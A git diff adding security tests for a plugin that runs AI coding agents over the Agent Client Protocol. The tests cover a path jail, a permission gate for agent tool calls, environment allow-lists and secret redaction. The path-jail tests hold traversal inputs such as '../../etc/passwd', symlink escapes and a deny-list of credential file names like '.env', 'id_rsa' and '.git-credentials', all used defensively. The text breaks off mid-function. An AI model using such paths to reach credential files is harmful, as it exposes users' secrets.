+ expect(resolveCliSettings({ acpAllowUnrestricted: true }).allowUnrestricted).toBe(true);
+ expect(resolveCliSettings({ acpAllowUnrestricted: "yes" }).allowUnrestricted).toBe(false);
+ });
+
+ it("honors explicit binary, args, and capability toggles", () => {
+ const s = resolveCliSettings({
+ acpBinaryPath: "gemini",
+ acpArgs: ["--acp"],
+ acpModel: "gemini-2.0",
+ acpFsRead: true,
+ acpEnvAllowList: ["HOME", "PATH"],
+ });
+ expect(s.binaryPath).toBe("gemini");
+ expect(s.args).toEqual(["--acp"]);
+ expect(s.model).toBe("gemini-2.0");
+ expect(s.fsRead).toBe(true);
+ expect(s.fsWrite).toBe(false);
+ expect(s.envAllowList).toEqual(["HOME", "PATH"]);
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/path-jail.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/path-jail.test.ts
new file mode 100644
index 0000000000..b6739844df
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/path-jail.test.ts
@@ -0,0 +1,170 @@
+// U7 SECURITY tests for the path jail (Risk S3). Each `it` is a security
+// assertion against real temp dirs + real symlinks. Do NOT weaken these to go
+// green — if one fails, the JAIL is wrong, not the test.
+
+import { describe, it, expect, beforeEach, afterEach } from "vitest";
+import { mkdtemp, rm, mkdir, writeFile, symlink, realpath } from "node:fs/promises";
+import { constants as fsConstants } from "node:fs";
+import { tmpdir } from "node:os";
+import * as path from "node:path";
+import {
+ assertPathWithinCwd,
+ openWithinCwd,
+ isSecretPath,
+ isGitInternal,
+ PathJailError,
+} from "../path-jail.js";
+
+let cwd: string;
+let outside: string;
+
+beforeEach(async () => {
+ // realpath the temp roots up front — macOS /var → /private/var symlinking
+ // would otherwise look like an escape.
+ cwd = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-cwd-")));
+ outside = await realpath(await mkdtemp(path.join(tmpdir(), "acp-jail-out-")));
+});
+
+afterEach(async () => {
+ await rm(cwd, { recursive: true, force: true }).catch(() => undefined);
+ await rm(outside, { recursive: true, force: true }).catch(() => undefined);
+});
+
+describe("assertPathWithinCwd", () => {
+ it("accepts an existing file inside cwd and returns its real path", async () => {
+ await writeFile(path.join(cwd, "a.txt"), "hi", "utf8");
+ const resolved = await assertPathWithinCwd("a.txt", cwd);
+ expect(resolved).toBe(path.join(cwd, "a.txt"));
+ });
+
+ it("accepts a nested file inside cwd", async () => {
+ await mkdir(path.join(cwd, "sub"), { recursive: true });
+ await writeFile(path.join(cwd, "sub", "b.txt"), "hi", "utf8");
+ const resolved = await assertPathWithinCwd("sub/b.txt", cwd);
+ expect(resolved).toBe(path.join(cwd, "sub", "b.txt"));
+ });
+
+ it("accepts a not-yet-existing file when its parent is inside cwd", async () => {
+ const resolved = await assertPathWithinCwd("new-file.txt", cwd);
+ expect(resolved).toBe(path.join(cwd, "new-file.txt"));
+ });
+
+ it("rejects a lexical `../` escape with path_outside_cwd", async () => {
+ await expect(assertPathWithinCwd("../../etc/passwd", cwd)).rejects.toMatchObject({
+ code: "path_outside_cwd",
+ });
+ });
+
+ it("rejects an absolute path outside cwd", async () => {
+ await writeFile(path.join(outside, "secret.txt"), "x", "utf8");
+ await expect(
+ assertPathWithinCwd(path.join(outside, "secret.txt"), cwd),
+ ).rejects.toBeInstanceOf(PathJailError);
+ });
+
+ it("rejects a NUL byte in the path with invalid_path", async () => {
+ await expect(assertPathWithinCwd("a\0b.txt", cwd)).rejects.toMatchObject({
+ code: "invalid_path",
+ });
+ });
+
+ it("rejects an empty path with invalid_path", async () => {
+ await expect(assertPathWithinCwd("", cwd)).rejects.toMatchObject({
+ code: "invalid_path",
+ });
+ });
+
+ // --- THE symlink-escape test (Risk S3 threat 2) ---
+ it("rejects a symlink INSIDE cwd that points OUTSIDE (existing target)", async () => {
+ const secret = path.join(outside, "passwd");
+ await writeFile(secret, "root:x:0:0", "utf8");
+ // link inside cwd -> file outside cwd
+ await symlink(secret, path.join(cwd, "link-to-secret"));
+ await expect(
+ assertPathWithinCwd("link-to-secret", cwd),
+ ).rejects.toMatchObject({ code: "path_outside_cwd" });
+ });
+
+ it("rejects a symlinked DIRECTORY inside cwd pointing out, even for a child path", async () => {
+ await mkdir(path.join(outside, "etc"), { recursive: true });
+ await writeFile(path.join(outside, "etc", "passwd"), "x", "utf8");
+ await symlink(path.join(outside, "etc"), path.join(cwd, "etc-link"));
+ await expect(
+ assertPathWithinCwd("etc-link/passwd", cwd),
+ ).rejects.toMatchObject({ code: "path_outside_cwd" });
+ });
+
+ it("rejects a DANGLING symlink final component for a write target", async () => {
+ // symlink inside cwd to a non-existent file outside → realpath of target
+ // fails, parent (cwd) is fine, but lstat shows the final component IS a
+ // symlink → reject (it would otherwise be followed out on open).
+ await symlink(path.join(outside, "nope.txt"), path.join(cwd, "dangling"));
+ await expect(
+ assertPathWithinCwd("dangling", cwd),
+ ).rejects.toMatchObject({ code: "path_outside_cwd" });
+ });
+});
+
+describe("openWithinCwd (TOCTOU defense)", () => {
+ it("opens a regular file inside cwd", async () => {
+ const p = path.join(cwd, "ok.txt");
+ await writeFile(p, "content", "utf8");
+ const handle = await openWithinCwd(p, cwd, fsConstants.O_RDONLY);
+ const data = await handle.readFile({ encoding: "utf8" });
+ await handle.close();
+ expect(data).toBe("content");
+ });
+
+ it("refuses to follow a symlink final component (O_NOFOLLOW)", async () => {
+ const target = path.join(cwd, "real.txt");
+ await writeFile(target, "real", "utf8");
+ const link = path.join(cwd, "link.txt");
+ await symlink(target, link);
+ // Even though both link and target are inside cwd, O_NOFOLLOW must refuse to
+ // open through the symlink — closing the swap-a-symlink TOCTOU window.
+ await expect(
+ openWithinCwd(link, cwd, fsConstants.O_RDONLY),
+ ).rejects.toBeTruthy();
+ });
+});
+
+describe("deny-list predicates", () => {
+ it("flags secret basenames", () => {
+ for (const f of [
+ ".env",
+ ".env.local",
+ ".env.production",
+ "server.pem",
+ "tls.key",
+ ".npmrc",
+ ".netrc",
+ "id_rsa",
+ "id_ed25519.pub",
+ "credentials",
+ // FIX 6: expanded secret deny-list.
+ ".git-credentials",
+ "server.p12",
+ "cert.pfx",
+ "release.keystore",
+ "app.jks",
+ ".dockercfg",
+ ".pgpass",
+ ".htpasswd",
+ ]) {
+ expect(isSecretPath(path.join(cwd, f))).toBe(true);
+ }
+ });
+
+ it("does not flag ordinary files as secret", () => {
+ for (const f of ["index.ts", "README.md", "envoy.json", "keyboard.txt"]) {
+ expect(isSecretPath(path.join(cwd, f))).toBe(false);
+ }
+ });
+
+ it("flags any path under a .git/ dir", () => {
+ expect(isGitInternal(path.join(cwd, ".git", "config"))).toBe(true);
+ expect(isGitInternal(path.join(cwd, ".git", "hooks", "pre-commit"))).toBe(true);
+ expect(isGitInternal(path.join(cwd, "src", "app.ts"))).toBe(false);
+ expect(isGitInternal(path.join(cwd, "gitignore.txt"))).toBe(false);
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/probe.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/probe.test.ts
new file mode 100644
index 0000000000..d3f182d546
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/probe.test.ts
@@ -0,0 +1,59 @@
+import { describe, it, expect, afterEach } from "vitest";
+import { fileURLToPath } from "node:url";
+import { probeAcpReadiness } from "../probe.js";
+import { killAllProcesses, activeProcessCount } from "../process-manager.js";
+
+const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url));
+
+afterEach(() => {
+ killAllProcesses();
+});
+
+function baseOpts(extraEnv: Record = {}, timeoutMs = 10_000) {
+ return {
+ binaryPath: process.execPath,
+ args: [FIXTURE],
+ cwd: process.cwd(),
+ env: extraEnv as NodeJS.ProcessEnv,
+ timeoutMs,
+ };
+}
+
+describe("probeAcpReadiness", () => {
+ it("reports ok against the echo fixture and tears the process down", async () => {
+ const status = await probeAcpReadiness(baseOpts());
+ expect(status).toMatchObject({ ok: true, reason: "ok", authRequired: false });
+ expect(activeProcessCount()).toBe(0);
+ });
+
+ it("reports ok with authRequired when the agent advertises authMethods", async () => {
+ const status = await probeAcpReadiness(baseOpts({ ACP_FIXTURE_REQUIRE_AUTH: "1" }));
+ expect(status.ok).toBe(true);
+ expect(status.reason).toBe("ok");
+ expect(status.authRequired).toBe(true);
+ });
+
+ it("maps a nonexistent binary to missing_binary without throwing", async () => {
+ const status = await probeAcpReadiness({
+ binaryPath: "/nonexistent/acp-agent-xyz",
+ args: [],
+ cwd: process.cwd(),
+ env: {} as NodeJS.ProcessEnv,
+ timeoutMs: 2000,
+ });
+ expect(status).toMatchObject({ ok: false, reason: "missing_binary" });
+ expect(activeProcessCount()).toBe(0);
+ });
+
+ it("maps a version mismatch to incompatible_protocol", async () => {
+ const status = await probeAcpReadiness(baseOpts({ ACP_FIXTURE_PROTOCOL_VERSION: "999" }));
+ expect(status).toMatchObject({ ok: false, reason: "incompatible_protocol", protocolVersion: 999 });
+ expect(activeProcessCount()).toBe(0);
+ });
+
+ it("maps a stalled handshake to handshake_timeout and kills the process", async () => {
+ const status = await probeAcpReadiness(baseOpts({ ACP_FIXTURE_HANG_INITIALIZE: "1" }, 300));
+ expect(status).toMatchObject({ ok: false, reason: "handshake_timeout" });
+ expect(activeProcessCount()).toBe(0);
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/process-manager.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/process-manager.test.ts
new file mode 100644
index 0000000000..9944ffe7d3
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/process-manager.test.ts
@@ -0,0 +1,179 @@
+import { describe, it, expect, afterEach } from "vitest";
+import { spawn, type ChildProcess } from "node:child_process";
+import {
+ buildSpawnEnv,
+ redactSecrets,
+ captureStderr,
+ registerProcess,
+ unregisterProcess,
+ killAllProcesses,
+ forceKill,
+ spawnAgent,
+ activeProcessCount,
+} from "../process-manager.js";
+
+const spawned: ChildProcess[] = [];
+
+function track(child: ChildProcess): ChildProcess {
+ spawned.push(child);
+ return child;
+}
+
+afterEach(() => {
+ for (const child of spawned) forceKill(child);
+ spawned.length = 0;
+ killAllProcesses();
+});
+
+function waitForExit(child: ChildProcess): Promise {
+ return new Promise((resolve) => {
+ if (child.exitCode !== null || child.killed) return resolve();
+ child.once("exit", () => resolve());
+ });
+}
+
+describe("buildSpawnEnv (KTD6b allow-list)", () => {
+ it("returns an empty env for an empty allow-list", () => {
+ process.env.ACP_TEST_SECRET = "super-secret-value";
+ try {
+ const env = buildSpawnEnv([]);
+ expect(Object.keys(env)).toHaveLength(0);
+ expect(env.ACP_TEST_SECRET).toBeUndefined();
+ } finally {
+ delete process.env.ACP_TEST_SECRET;
+ }
+ });
+
+ it("copies only allow-listed vars and excludes secret vars", () => {
+ process.env.ACP_TEST_ALLOWED = "ok";
+ process.env.ACP_TEST_SECRET = "leak-me";
+ try {
+ const env = buildSpawnEnv(["ACP_TEST_ALLOWED"]);
+ expect(env.ACP_TEST_ALLOWED).toBe("ok");
+ expect(env.ACP_TEST_SECRET).toBeUndefined();
+ } finally {
+ delete process.env.ACP_TEST_ALLOWED;
+ delete process.env.ACP_TEST_SECRET;
+ }
+ });
+});
+
+describe("redactSecrets (Risk S8)", () => {
+ it("redacts bearer tokens", () => {
+ const out = redactSecrets("Authorization: Bearer sk-live-ABCDEFG1234567890abcdef");
+ expect(out).not.toContain("sk-live-ABCDEFG1234567890abcdef");
+ expect(out).toContain("[REDACTED]");
+ });
+
+ it("redacts key=/token= assignments", () => {
+ const out = redactSecrets("api_key=abcdef0123456789 token=ZZZ987654321");
+ expect(out).not.toContain("abcdef0123456789");
+ expect(out).not.toContain("ZZZ987654321");
+ });
+
+ it("redacts long opaque hex/base64 secrets", () => {
+ const out = redactSecrets("value 0123456789abcdef0123456789abcdef done");
+ expect(out).not.toContain("0123456789abcdef0123456789abcdef");
+ });
+
+ it("leaves benign text intact", () => {
+ expect(redactSecrets("hello world")).toBe("hello world");
+ });
+});
+
+describe("captureStderr", () => {
+ it("accumulates and redacts stderr", async () => {
+ const child = track(
+ spawn(process.execPath, [
+ "-e",
+ "process.stderr.write('Authorization: Bearer sk-live-SECRETSECRETSECRET123456\\n')",
+ ]),
+ );
+ const getStderr = captureStderr(child);
+ await waitForExit(child);
+ const out = getStderr();
+ expect(out).toContain("Authorization:");
+ expect(out).not.toContain("sk-live-SECRETSECRETSECRET123456");
+ });
+
+ it("redacts a token split across two stderr writes (cross-chunk) (FIX 5)", async () => {
+ // The secret is emitted in two separate write() calls so it straddles two
+ // `data` chunks. Per-chunk redaction would leak it; cross-boundary redaction
+ // must catch it.
+ const child = track(
+ spawn(process.execPath, [
+ "-e",
+ "process.stderr.write('Authorization: Bearer sk-live-SPLIT');" +
+ "setTimeout(()=>process.stderr.write('TOKENTOKENTOKEN123456\\n'),20);",
+ ]),
+ );
+ const getStderr = captureStderr(child);
+ await waitForExit(child);
+ const out = getStderr();
+ expect(out).not.toContain("sk-live-SPLITTOKENTOKENTOKEN123456");
+ expect(out).toContain("[REDACTED]");
+ });
+});
+
+describe("process registry (KTD4)", () => {
+ it("auto-removes a process from the registry on exit", async () => {
+ killAllProcesses();
+ const child = track(spawn(process.execPath, ["-e", "setTimeout(()=>{},50)"]));
+ registerProcess(child);
+ expect(activeProcessCount()).toBe(1);
+ await waitForExit(child);
+ // allow the 'exit' handler to run
+ await new Promise((r) => setTimeout(r, 20));
+ expect(activeProcessCount()).toBe(0);
+ });
+
+ it("killAllProcesses reaps survivors and clears the registry", async () => {
+ killAllProcesses();
+ const a = track(spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"]));
+ const b = track(spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"]));
+ registerProcess(a);
+ registerProcess(b);
+ expect(activeProcessCount()).toBe(2);
+ killAllProcesses();
+ expect(activeProcessCount()).toBe(0);
+ await Promise.all([waitForExit(a), waitForExit(b)]);
+ expect(a.killed || a.exitCode !== null).toBe(true);
+ expect(b.killed || b.exitCode !== null).toBe(true);
+ });
+});
+
+describe("forceKill", () => {
+ it("no-ops on an already-dead process", async () => {
+ const child = track(spawn(process.execPath, ["-e", ""]));
+ await waitForExit(child);
+ expect(() => forceKill(child)).not.toThrow();
+ });
+});
+
+describe("spawnAgent", () => {
+ it("registers on spawn and unregisters on exit", async () => {
+ killAllProcesses();
+ const child = track(
+ spawnAgent({
+ binaryPath: process.execPath,
+ args: ["-e", "setTimeout(()=>{},30)"],
+ cwd: process.cwd(),
+ env: {},
+ }),
+ );
+ expect(activeProcessCount()).toBe(1);
+ await waitForExit(child);
+ await new Promise((r) => setTimeout(r, 20));
+ expect(activeProcessCount()).toBe(0);
+ });
+
+ it("unregisterProcess removes a tracked child", () => {
+ killAllProcesses();
+ const child = track(spawn(process.execPath, ["-e", "setInterval(()=>{},1000)"]));
+ registerProcess(child);
+ expect(activeProcessCount()).toBe(1);
+ unregisterProcess(child);
+ expect(activeProcessCount()).toBe(0);
+ });
+});
+
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/prompt-builder.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/prompt-builder.test.ts
new file mode 100644
index 0000000000..8888125e86
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/prompt-builder.test.ts
@@ -0,0 +1,35 @@
+import { describe, it, expect } from "vitest";
+import { buildPromptBlocks } from "../prompt-builder.js";
+
+describe("buildPromptBlocks", () => {
+ it("turns a plain string into a single text block", () => {
+ const blocks = buildPromptBlocks("hello world");
+ expect(blocks).toEqual([{ type: "text", text: "hello world" }]);
+ });
+
+ it("emits no text block for an empty string", () => {
+ expect(buildPromptBlocks("")).toEqual([]);
+ });
+
+ it("emits no text block for a whitespace-only string", () => {
+ expect(buildPromptBlocks(" \t\n ")).toEqual([]);
+ });
+
+ it("appends image blocks after the text block", () => {
+ const blocks = buildPromptBlocks("describe this", {
+ images: [{ data: "AAAA", mimeType: "image/png", uri: "file:///a.png" }],
+ });
+ expect(blocks).toEqual([
+ { type: "text", text: "describe this" },
+ { type: "image", data: "AAAA", mimeType: "image/png", uri: "file:///a.png" },
+ ]);
+ });
+
+ it("omits the uri field when not provided on an image", () => {
+ const blocks = buildPromptBlocks("", {
+ images: [{ data: "BBBB", mimeType: "image/jpeg" }],
+ });
+ expect(blocks).toEqual([{ type: "image", data: "BBBB", mimeType: "image/jpeg" }]);
+ expect(blocks[0]).not.toHaveProperty("uri");
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-handshake.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-handshake.test.ts
new file mode 100644
index 0000000000..c32013ce84
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-handshake.test.ts
@@ -0,0 +1,96 @@
+import { describe, it, expect, afterEach } from "vitest";
+import { fileURLToPath } from "node:url";
+import {
+ connect,
+ IncompatibleProtocolError,
+ HandshakeTimeoutError,
+ createDefaultClientHandler,
+} from "../provider.js";
+import { killAllProcesses, activeProcessCount } from "../process-manager.js";
+
+const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url));
+
+afterEach(() => {
+ killAllProcesses();
+});
+
+function baseOpts(extraEnv: Record = {}) {
+ return {
+ binaryPath: process.execPath,
+ args: [FIXTURE],
+ cwd: process.cwd(),
+ env: extraEnv as NodeJS.ProcessEnv,
+ advertiseFs: { read: false, write: false },
+ initializeTimeoutMs: 10_000,
+ };
+}
+
+describe("connect() handshake", () => {
+ it("completes initialize against the echo fixture and exposes conn", async () => {
+ const conn = await connect(baseOpts());
+ try {
+ expect(conn.conn).toBeDefined();
+ expect(typeof conn.conn.newSession).toBe("function");
+ expect(conn.authMethods).toEqual([]);
+ expect(conn.agentCapabilities).toMatchObject({ loadSession: false });
+ expect(conn.child.pid).toBeGreaterThan(0);
+ } finally {
+ conn.dispose();
+ }
+ });
+
+ it("surfaces non-empty authMethods when the agent requires auth", async () => {
+ const conn = await connect(baseOpts({ ACP_FIXTURE_REQUIRE_AUTH: "1" }));
+ try {
+ expect(conn.authMethods.length).toBeGreaterThan(0);
+ expect(conn.authMethods[0]).toHaveProperty("id");
+ } finally {
+ conn.dispose();
+ }
+ });
+
+ it("throws IncompatibleProtocolError on a version mismatch and kills the child", async () => {
+ await expect(
+ connect(baseOpts({ ACP_FIXTURE_PROTOCOL_VERSION: "999" })),
+ ).rejects.toBeInstanceOf(IncompatibleProtocolError);
+ // child must have been disposed; nothing left in the registry
+ expect(activeProcessCount()).toBe(0);
+ });
+
+ it("rejects with HandshakeTimeoutError when the agent never responds, and kills the child", async () => {
+ await expect(
+ connect({ ...baseOpts({ ACP_FIXTURE_HANG_INITIALIZE: "1" }), initializeTimeoutMs: 300 }),
+ ).rejects.toBeInstanceOf(HandshakeTimeoutError);
+ expect(activeProcessCount()).toBe(0);
+ });
+
+ it("rejects with a missing-binary (ENOENT) error for a nonexistent binary", async () => {
+ await expect(
+ connect({
+ binaryPath: "/nonexistent/acp-agent-does-not-exist",
+ args: [],
+ cwd: process.cwd(),
+ env: {} as NodeJS.ProcessEnv,
+ advertiseFs: { read: false, write: false },
+ initializeTimeoutMs: 2000,
+ }),
+ ).rejects.toMatchObject({ code: "ENOENT" });
+ expect(activeProcessCount()).toBe(0);
+ });
+
+ it("dispose() removes the registry entry and kills the child", async () => {
+ const conn = await connect(baseOpts());
+ expect(activeProcessCount()).toBe(1);
+ conn.dispose();
+ expect(activeProcessCount()).toBe(0);
+ // idempotent
+ expect(() => conn.dispose()).not.toThrow();
+ });
+
+ it("default client handler cancels permission requests and no-ops updates", async () => {
+ const handler = createDefaultClientHandler();
+ await expect(handler.sessionUpdate({} as never)).resolves.toBeUndefined();
+ const res = await handler.requestPermission({} as never);
+ expect(res).toEqual({ outcome: { outcome: "cancelled" } });
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-permission.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-permission.test.ts
new file mode 100644
index 0000000000..4b18fcc9c5
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-permission.test.ts
@@ -0,0 +1,129 @@
+// U5 — provider integration of the permission floor + cancel-drain.
+//
+// Exercises `createBridgingClientHandler(callbacks, gate)`: its
+// `requestPermission` delegates to the per-category resolver, and `cancelPending`
+// drains in-flight requests so the agent never deadlocks on teardown (KTD4a).
+
+import { describe, it, expect } from "vitest";
+import type {
+ PermissionOption,
+ RequestPermissionRequest,
+ RequestPermissionResponse,
+ ToolKind,
+} from "@agentclientprotocol/sdk";
+import { createBridgingClientHandler } from "../provider.js";
+import type { GateDisposition, PermissionGate } from "../types.js";
+
+const ALL_OPTIONS: PermissionOption[] = [
+ { optionId: "allow_once_id", name: "Allow once", kind: "allow_once" },
+ { optionId: "allow_always_id", name: "Allow always", kind: "allow_always" },
+ { optionId: "reject_once_id", name: "Reject once", kind: "reject_once" },
+ { optionId: "reject_always_id", name: "Reject always", kind: "reject_always" },
+];
+
+function req(kind: ToolKind | undefined, id = "tc-1"): RequestPermissionRequest {
+ return {
+ sessionId: "sess-1",
+ toolCall: { toolCallId: id, kind } as RequestPermissionRequest["toolCall"],
+ options: ALL_OPTIONS,
+ };
+}
+
+const UNRESTRICTED: Record = {
+ git_write: "allow",
+ file_write_delete: "allow",
+ command_execution: "allow",
+ network_api: "allow",
+ task_agent_mutation: "allow",
+};
+
+function gate(rules: Record): PermissionGate {
+ return { permissionPolicy: { rules } };
+}
+
+function selectedId(res: RequestPermissionResponse): string | undefined {
+ return res.outcome.outcome === "selected" ? res.outcome.optionId : undefined;
+}
+
+describe("createBridgingClientHandler — requestPermission delegates to the gate", () => {
+ it("answers allow_once for an allow category (risk acknowledged)", async () => {
+ const { handler } = createBridgingClientHandler(
+ {},
+ gate({ ...UNRESTRICTED, command_execution: "allow" }),
+ undefined,
+ { allowUnrestricted: true },
+ );
+ const res = await handler.requestPermission(req("execute"));
+ expect(selectedId(res)).toBe("allow_once_id");
+ });
+
+ it("escalates a sensitive allow to deny without the unrestricted acknowledgement (S1)", async () => {
+ const { handler } = createBridgingClientHandler(
+ {},
+ gate({ ...UNRESTRICTED, command_execution: "allow" }),
+ );
+ const res = await handler.requestPermission(req("execute"));
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+
+ it("default-denies (reject_once) when no gate is supplied", async () => {
+ const { handler } = createBridgingClientHandler({});
+ const res = await handler.requestPermission(req("read"));
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+
+ it("honors a per-category block under an otherwise-unrestricted policy", async () => {
+ const { handler } = createBridgingClientHandler({}, gate({ ...UNRESTRICTED, command_execution: "block" }));
+ const res = await handler.requestPermission(req("execute"));
+ expect(selectedId(res)).toBe("reject_once_id");
+ });
+});
+
+describe("cancel drain (KTD4a — no permission deadlock)", () => {
+ it("resolves two in-flight permission requests as cancelled and answers later requests cancelled immediately", async () => {
+ // A require-approval category with a pause that NEVER resolves on its own —
+ // the only way these complete is the cancel drain.
+ let pauseCount = 0;
+ const blockingGate: PermissionGate = {
+ permissionPolicy: { rules: { ...UNRESTRICTED, command_execution: "require-approval" } },
+ createApprovalRequest: async () => ({ id: "appr" }),
+ findApprovalByDedupeKey: async () => null,
+ pauseForApproval: () =>
+ new Promise(() => {
+ pauseCount += 1;
+ /* never resolves */
+ }),
+ };
+
+ const { handler, cancelPending } = createBridgingClientHandler({}, blockingGate);
+
+ const p1 = handler.requestPermission(req("execute", "tc-1"));
+ const p2 = handler.requestPermission(req("execute", "tc-2"));
+
+ // Let both reach the blocking pause.
+ await Promise.resolve();
+ await Promise.resolve();
+ expect(pauseCount).toBe(2);
+
+ cancelPending();
+
+ const [r1, r2] = await Promise.all([p1, p2]);
+ expect(r1.outcome.outcome).toBe("cancelled");
+ expect(r2.outcome.outcome).toBe("cancelled");
+
+ // A request arriving AFTER cancel is answered cancelled immediately.
+ const r3 = await handler.requestPermission(req("execute", "tc-3"));
+ expect(r3.outcome.outcome).toBe("cancelled");
+ });
+
+ it("cancelPending is idempotent", async () => {
+ const { handler, cancelPending } = createBridgingClientHandler(
+ {},
+ gate({ ...UNRESTRICTED, command_execution: "allow" }),
+ );
+ cancelPending();
+ cancelPending();
+ const res = await handler.requestPermission(req("execute"));
+ expect(res.outcome.outcome).toBe("cancelled");
+ });
+});
diff --git a/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-session.test.ts b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-session.test.ts
new file mode 100644
index 0000000000..1e8ece526d
--- /dev/null
+++ b/plugins/fusion-plugin-acp-runtime/src/__tests__/provider-session.test.ts
@@ -0,0 +1,193 @@
+import { describe, it, expect, afterEach, vi } from "vitest";
+import { fileURLToPath } from "node:url";
+import {
+ connect,
+ newAcpSession,
+ promptAcpSession,
+ cancelAcpSession,
+ loadAcpSession,
+ createBridgingClientHandler,
+ type AcpConnection,
+} from "../provider.js";
+import { buildPromptBlocks } from "../prompt-builder.js";
+import { killAllProcesses } from "../process-manager.js";
+
+const FIXTURE = fileURLToPath(new URL("./fixtures/echo-agent.mjs", import.meta.url));
+
+afterEach(() => {
+ killAllProcesses();
+});
+
+function baseOpts(extraEnv: Record = {}) {
+ return {
+ binaryPath: process.execPath,
+ args: [FIXTURE],
+ cwd: process.cwd(),
+ env: extraEnv as NodeJS.ProcessEnv,
+ advertiseFs: { read: false, write: false },
+ initializeTimeoutMs: 10_000,
+ };
+}
+
+async function open(extraEnv: Record = {}): Promise {
+ return connect(baseOpts(extraEnv));
+}
+
+describe("session driving helpers", () => {
+ it("newAcpSession opens a session and returns a sessionId", async () => {
+ const conn = await open();
+ try {
+ const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
+ expect(typeof sessionId).toBe("string");
+ expect(sessionId.length).toBeGreaterThan(0);
+ } finally {
+ conn.dispose();
+ }
+ });
+
+ it("promptAcpSession resolves with end_turn for a normal turn", async () => {
+ const conn = await open();
+ try {
+ const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
+ const stopReason = await promptAcpSession(conn, sessionId, buildPromptBlocks("hello"));
+ expect(stopReason).toBe("end_turn");
+ } finally {
+ conn.dispose();
+ }
+ });
+
+ it("cancelAcpSession releases a mid-turn prompt with the cancelled stop reason", async () => {
+ const conn = await open({ ACP_FIXTURE_HANG_PROMPT: "1" });
+ try {
+ const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
+ const promptPromise = promptAcpSession(conn, sessionId, buildPromptBlocks("hello"));
+ // Give the turn a tick to register the hang before cancelling.
+ await new Promise((r) => setImmediate(r));
+ await cancelAcpSession(conn, sessionId);
+ const stopReason = await promptPromise;
+ expect(stopReason).toBe("cancelled");
+ } finally {
+ conn.dispose();
+ }
+ });
+
+ it("cancelAcpSession swallows errors (fire-and-forget)", async () => {
+ const conn = await open();
+ try {
+ const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
+ conn.dispose(); // kill the child so cancel cannot round-trip
+ await expect(cancelAcpSession(conn, sessionId)).resolves.toBeUndefined();
+ } finally {
+ conn.dispose();
+ }
+ });
+
+ it("loadAcpSession uses session/load when the agent advertises loadSession", async () => {
+ const conn = await open({ ACP_FIXTURE_LOAD_SESSION: "1" });
+ try {
+ expect(conn.agentCapabilities).toMatchObject({ loadSession: true });
+ const result = await loadAcpSession(conn, {
+ sessionId: "prior-session-id",
+ cwd: process.cwd(),
+ });
+ // session/load echoes back the requested id (no fresh id minted).
+ expect(result.sessionId).toBe("prior-session-id");
+ } finally {
+ conn.dispose();
+ }
+ });
+
+ it("bridging client handler surfaces a rich prompt turn's updates onto callbacks (U4)", async () => {
+ const onText = vi.fn<(t: string) => void>();
+ const onThinking = vi.fn<(t: string) => void>();
+ const onToolStart = vi.fn<(name: string, args?: unknown) => void>();
+ const onToolEnd = vi.fn<(name: string, isError: boolean, result?: unknown) => void>();
+
+ const conn = await connect({
+ ...baseOpts({ ACP_FIXTURE_RICH_PROMPT: "1" }),
+ clientHandler: createBridgingClientHandler({ onText, onThinking, onToolStart, onToolEnd }).handler,
+ });
+ try {
+ const { sessionId } = await newAcpSession(conn, { cwd: process.cwd() });
+ const stopReason = await promptAcpSession(conn, sessionId, buildPromptBlocks("go"));
+ expect(stopReason).toBe("end_turn");
+
+ // The SDK prompt promise resolves only after all updates are delivered.
+ expect(onText.mock.calls.map((c) => c[0]).join("")).toBe("Working on it.");
+ expect(onThinking).toHaveBeenCalledWith("Let me think about this.");
+ expect(onToolStart).toHaveBeenCalledWith("Run tests", { command: "pnpm test" });
+ expect(onToolEnd).toHaveBeenCalledWith("Run tests", false, { exitCode: 0 });
+ // The plan surfaces as a thinking line.
+ expect(onThinking.mock.calls.some((c) => String(c[0]).includes("Fix the bug"))).toBe(true);
+ } finally {
+ conn.dispose();
+ }
+ });
+
+ it("loadAcpSession falls back to newSession when loadSession is not advertised", async () => {
+ const conn = await open(); // loadSession defaults false
+ try {
+ expect(conn.agentCapabilities).toMatchObject({ loadSession: false });
+ const result = await loadAcpSession(conn, {
+ sessionId: "prior-session-id",
+ cwd: process.cwd(),
+ });
+ // Fresh session: a new id is minted, not the prior one.
+ expect(result.sessionId).not.toBe("prior-session-id");
+ expect(result.sessionId.length).toBeGreaterThan(0);
+ } finally {
+ conn.dispose();
+ }
+ });
+});
+
+describe("sessionId untrusted-input bounding (U6 / Risk S7)", () => {
+ // A fake connection that returns a malicious agent-supplied sessionId so we can
+ // assert the helper normalizes it before it is ever stored / path-joined —
+ // without spawning a real agent.
+ function fakeConn(sessionId: string, opts?: { loadSession?: boolean }): AcpConnection {
